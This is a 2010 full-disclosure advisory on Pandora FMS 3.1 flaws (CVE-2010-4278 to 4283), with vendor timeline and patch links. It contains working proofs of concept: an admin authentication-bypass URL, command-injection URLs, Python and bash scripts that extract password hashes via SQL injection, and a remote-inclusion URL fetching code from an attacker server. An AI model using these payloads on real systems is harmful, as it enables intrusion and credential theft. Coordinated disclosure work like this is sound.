Message-ID: <4CF4D72D.3000304@48bits.com>
Date: Tue, 30 Nov 2010 10:51:25 +0000
From: Juan Galiana Lara <jgaliana@...its.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Pandora FMS Authentication Bypass and Multiple
	Input Validation Vulnerabilities

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Pandora FMS Authentication Bypass and Multiple Input Validation
Vulnerabilities

CVE IDs in this security advisory:

1) Authentication bypass - CVE-2010-4279
2) OS Command Injection - CVE-2010-4278
3) SQL Injection - CVE-2010-4280
4) Blind SQL Injection - CVE-2010-4280
5) Path Traversal - CVE-2010-4281 - CVE-2010-4282 - CVE-2010-4283


[+] Introduction

Pandora FMS (for Pandora Flexible Monitoring System) is a software
solution for monitoring computer networks. It allows monitoring in a
visual way the status and performance of several parameters from
different operating systems, servers, applications and hardware systems
such as firewalls, proxies, databases, web servers or routers.

It can be deployed in almost any operating system. It features remote
monitoring (WMI, SNMP, TCP. UDP, ICMP, HTTP...) and it can also use
agents. An agent is available for each platform. It can also monitor
hardware systems with a TCP/IP stack, such as load balancers, routers,
network switches, printers or firewalls.

This software has several servers that process and get information from
different sources, using WMI for gathering remote Windows information, a
predictive server, a plug-in server which makes complex user-defined
network tests, an advanced export server to replicate data between
different sites of Pandora FMS, a network discovery server, and an SNMP
Trap console.

Released under the terms of the GNU General Public License, Pandora FMS
is free software.


[+] Description and Proof of Concept


1) Authentication bypass - CVE-2010-4279 - CVSS: 10/10

An attacker could access to any account user, including admin, using the
"hash login" authentication process. This kind of authentication method
works providing a username and a hash. The issue could be exploited
remotely providing a username and the md5 of it when
$config['loginhash_pwd'] is empty, that in fact is the default
configuration.

Snippet of vulnerable code in index.php:

136 // Hash login process
137 if (! isset ($config['id_user']) && isset ($_GET["loginhash"])) {
138         $loginhash_data = get_parameter("loginhash_data", "");
139         $loginhash_user = get_parameter("loginhash_user", "");
140
141         if ($loginhash_data ==
md5($loginhash_user.$config["loginhash_pwd"])) {
142                 logon_db ($loginhash_user, $_SERVER['REMOTE_ADDR']);
143                 $_SESSION['id_usuario'] = $loginhash_user;
144                 $config["id_user"] = $loginhash_user;



Proof of concept:

http://servername/pandora_console/index.php?loginhash_data=21232f297a57a5a743894a0e4a801fc3&loginhash_user=admin&loginhash=1

Got it! admin! :)

By default, any installation of this software allows unauthenticated
attackers to perform an authentication bypass and a privilege escalation
to admin.


1.1) Additionally, a manual modification in order to use the hash_hmac
function instead of the weak statement md5 ( $string . $KEY) is
encouraged for security purposes.

Snippet of code (index.php, version 3.1.1):

145 // Hash login process
(...)
150         if ($config["loginhash_pwd"] != "" && $loginhash_data ==
md5($loginhash_user.$config["loginhash_pwd"])) {

In line 150, use
hash_hmac("sha256",$loginhash_user,$config["loginhash_pwd"]), instead of
md5($lioginhash_user.$config["loginhash_pwd"])


2) OS Command Injection - CVE-2010-4278 - CVSS 9/10

The layout parameter in file operation/agentes/networkmap.php is not
properly filtered and allows an attacker to inject OS commands.

Snippet of vulnerable code (file operation/agentes/networkmap.php):

32 $layout = (string) get_parameter ('layout', 'radial');
...
137 $filename_map = $config["attachment_store"]."/networkmap_".$layout;
138 $filename_img = "attachment/networkmap_".$layout."_".$font_size;
139 $filename_dot = $config["attachment_store"]."/networkmap_".$layout;
...
162                 $cmd = "$filter -Tcmapx -o".$filename_map." -Tpng
- -o".$filename_img." ".$filename_dot;
163                 $result = system ($cmd);

PoC:

http://servername/pandora_console/index.php?login=1&login=1&sec=estado&sec2=operation/agentes/networkmap&refr=0&layout=1;uname%20-a;
http://servername/pandora_console/index.php?login=1&sec=estado&sec2=operation/agentes/networkmap&refr=0&layout=1;id;

If we use vulnerability #1 (that permits bypass the authentication
system and login as admin) with this issue, the CVSS will be 10/10.


3) SQL Injection - CVE-2010-4280 - CVSS 8.5/10

The parameter id_group when get_agents_group_json is equal to 1 is
vulnerable to SQL Injection attacks.

PoC:
http://host/pandora_console/ajax.php?page=operation/agentes/ver_agente&get_agents_group_json=1&id_group=1/**/and/**/1=0/**/union/**/select/**/id_user,password/**/from/**/tusuario


Exploit:

# Pandora Flexible Monitoring System SQL Injection PoC
# Juan Galiana Lara
# Gets the list of users and password from the database
#
#configure cookie&host before use it
#usage
#python sqlinj_users.py
#admin:75b756ff2785ea8bb9ae02c13b6a71f1
#...

import json
import urllib2

headers = {"Cookie": "PHPSESSID=a4s3nf1tqv2fau8s6qhi6rutp9dahe9o"}

url = "http://HOST/pandora_console/ajax.php"
url+=
"?page=operation/agentes/ver_agente&get_agents_group_json=1&id_group=1"
url+=
"/**/and/**/1=0/**/union/**/select/**/id_user,password/**/from/**/tusuario"

req = urllib2.Request(url,headers=headers)
resp = urllib2.urlopen(req)

users = json.read(resp.read())
for user in users:
    print(user["id_agente"]+":"+user["nombre"])


The fix to these kind of issues was the implementation of a generic
filter against sql injection. A proper fix is planned for a major version.


4) Blind SQL Injection - CVE-2010-4280 - CVSS: 8.5/10

The parameter group_id of operation/agentes/estado_agente.php is
vulnerable to blind sql injection.


PoC:
http://host/pandora_console/index.php?sec=estado&sec2=operation/agentes/estado_agente&group_id=24%29%20and%20%28select%20password%20from%20tusuario%20where%20ord%28substring%28password,1,1%29%29=49%20and%20id_user=0x61646d696e%29%20union%20select%20id_agente,%20nombre%20from%20tagente%20where%20id_grupo%20in%20%281


Exploit:

#!/bin/bash
# Pandora Flexible Monitoring System Blind SQL Injection PoC
# Juan Galiana Lara
# Gets the md5 hash password from a specific user
#
#configure host,cookie&group_id before use it
#usage
#$ ./getpassword.sh
#74b444ff2785ea8bb9ae02c13b6a71f1

HOST="HOST"
TARGET_USER="0x61646d696e" #admin
PATTERN="Interval"
COOKIE="rq842tci6e5ib7t918c6sv1ml4"
CHARSET=(0 1 2 3 4 5 6 7 8 9 a b c d e f g h i j k l m n o p q r s t u v
w x y z)
GROUP_ID=2

j=1
while [[ $j -lt 33 ]]; do
    i=0
    while [[ $i -lt ${#CHARSET[@]} ]]; do
        c=$(printf '%d' "'${CHARSET[$i]}")

URL="http://$HOST/pandora_console/index.php?sec=estado&sec2=operation/agentes/estado_agente&group_id=$GROUP_ID%29%20and%20%28select%20password%20from%20tusuario%20where%20ord%28substring%28password,$j,1%29%29=$c%20and%20id_user=$TARGET_USER%29%20union%20select%20id_agente,%20nombre%20from%20tagente%20where%20id_grupo%20in%20%281";
        curl $URL --cookie "PHPSESSID=$COOKIE" 2> /dev/null | grep -q
$PATTERN;
        if [ $? -eq 0 ]; then echo -n ${CHARSET[$i]}; break; fi;
        let i++
    done;
    if [[ $i -eq ${#CHARSET[@]} ]]; then echo "Something went wrong!";
exit 1; fi
    let j++;
done
echo
exit 0


The fix to these kind of issues was the implementation of a generic
filter against sql injection. A proper fix is planned for a major version.


5) Path Traversal:

5.1 - PHP File Inclusion (or RFI/LFI: Remote/Local file inclusion) -
CVE-2010-4281 -CVE-2010-4282 - CVSS 8.5/10

Parameter 'page' of ajax.php is not properly sanitizing user-supplied
input. The function safe_url_extraclean is filtering ':' character, and
it doesn't allow to use the string "http://" to create urls, but allows
'/' character and an attacker could reference remote resources via
Windows UNC files, using //servername//resource/file

Note that the first check in safe_url_extraclean is filtering '://', so
we can bypass the filter easily doing http://http://url, and it only
strip the first protocol://. However, the last preg_replace strips the :
character.

Proof of concept:

UNC: http://servername/pandora_console/ajax.php?page=//server/share/test

As well, ajax.php allows to include any php file in the disk

filesystem:
http://servername/pandora_console/ajax.php?page=../../../../../directory/file

Character %00 is not allowed due safe_url_extraclean function filtering,
and is not possible to include other files distinct that php files, but
still allows . and / characters.


5.2 - PHP File Inclusion (or RFI Remote file inclusion) - CVE-2010-4283
- - CVSS 7.9/10

An attacker can inject arbitrary PHP code and execute it remotely due
argv[1] parameter is not filtered in file pandora_diag.php.

PoC:
http://servername/pandora_console/extras/pandora_diag.php?argc=2&argv[1]=http://serverattacker/salsa.php%00

Note: that issue needs register_globals set to On to be exploitable.


5.3 - Path traversal & Local file inclusion vulnerabilities -
CVE-2010-4282 - CVSS 6.8/10

An attacker can include arbitrary files of the filesystem via id
parameter in file pandora_help.php.


Snippet of vulnerable code:

 24 $id = get_parameter ('id');
 25
 26 /* Possible file locations */
 27 $files = array
($config["homedir"]."/include/help/".$config["language"]."/help_".$id.".php",
 28
$config["homedir"].ENTERPRISE_DIR."/include/help/".$config["language"]."/help_".$id.".php",
 29
$config["homedir"].ENTERPRISE_DIR."/include/help/en/help_".$id.".php",
 30         $config["homedir"]."/include/help/en/help_".$id.".php");
 31 $help_file = '';
 32 foreach ($files as $file) {
 33         if (file_exists ($file)) {
 34                 $help_file = $file;
 35                 break;
 36         }
 37 }
...
 62 require_once ($help_file);


Proof of concept:

http://servername/pandora_console/general/pandora_help.php?id=/../../../../../../../boot.ini%00

This code is platform dependent bug, you can read more at
http://seclists.org/fulldisclosure/2010/Jul/137
Only works in windows systems, an attacker can include local file using
../ characters due parameter id is not filtered
If magic_quotes_gpc is Off, arbitrary files can be included, like
boot.ini using NULL character (%00), if not, only php files are allowed


5.4 - Path traversal & Arbitrary write and delete files - CVE-2010-4282
- - CVSS 8.0/10

In file operation/agentes/networkmap.php the 'layout' parameter is
handled in an insecure way and it is used to write and delete files on
the filesystem.
An attacker could use this parameter to write in arbitrary paths and
even remove files.

Snippet of vulnerable code:

32 $layout = (string) get_parameter ('layout', 'radial');
...
137 $filename_map = $config["attachment_store"]."/networkmap_".$layout;
138 $filename_img = "attachment/networkmap_".$layout."_".$font_size;
139 $filename_dot = $config["attachment_store"]."/networkmap_".$layout;
...
157         $fh = @fopen ($filename_dot, 'w');
158         if ($fh === false) {
159                 $result = false;
160         } else {
161                 fwrite ($fh, $graph);
162                 $cmd = "$filter -Tcmapx -o".$filename_map." -Tpng
- -o".$filename_img." ".$filename_dot;
163                 $result = system ($cmd);
164                 fclose ($fh);
165                 unlink ($filename_dot);
166         }
...
178         require ($filename_map);


Character sequences '../' could be used to write files (due -o parameter
in lines 162 and 163), as well as potentially remove files (line 157,
161 and 165) or include them (line 178)
As well like in 5.3 this issue is only exploitable in windows
environments because the same reason.


[+] Impact

An attacker can execute commands of the operating system, inject remote
code in the context of the application, get arbitrary files from the
filesystem or extract any data of the database including passwords and
confidential information about the monitored network/systems. Also it is
possible to bypass the authentication or scale privileges to became
admin, gaining full control of the web application and web server. These
vulnerabilities have a high impact to the confidentiality, integrity,
and availability of the system.


[+] Systems affected

Versions prior and including 3.1 of Pandora FMS are affected


[+] Solution

Apply the security fix for version 3.1:
http://sourceforge.net/projects/pandora/files/Pandora%20FMS%203.1/Final%20version%20%28Stable%29/pandorafms_console-3.1_security_patch_13Oct2010.tar.gz/download


Or upgrade to version 3.1.1 from
http://sourceforge.net/projects/pandora/files/Pandora%20FMS%203.1/3.1.1/


[+] Timeline

Ago 2010: First contact to vendor
Ago 2010: Confirmation of vendor
Sept 2010: Second contact: SQL Injection vulnerabilities
Sept 2010: Confirmation that the fix will be released on October
Oct 2010: PandoraFMS security patch for 3.1 version released
Oct 2010: Request for CVE numbers
Nov 2010: PandoraFMS version 3.1.1 released
Nov 2010: Disclosure of this advisory


[+] References

Official PandoraFMS site: http://pandorafms.org/
SourceForge PandoraFMS site: http://sourceforge.net/projects/pandora/
Wikipedia entry about PandoraFMS: http://en.wikipedia.org/wiki/Pandora_FMS
Common Vulnerability Scoring System (CVSS) v2 calculator:
http://nvd.nist.gov/cvss.cfm?calculator&adv&version=2
Common Vulnerabilities and Exposures (CVE): http://cve.mitre.org/


[+] Credits

These vulnerabilities has been discovered by Juan Galiana Lara -
@jgaliana - http://juangaliana.blogspot.com/

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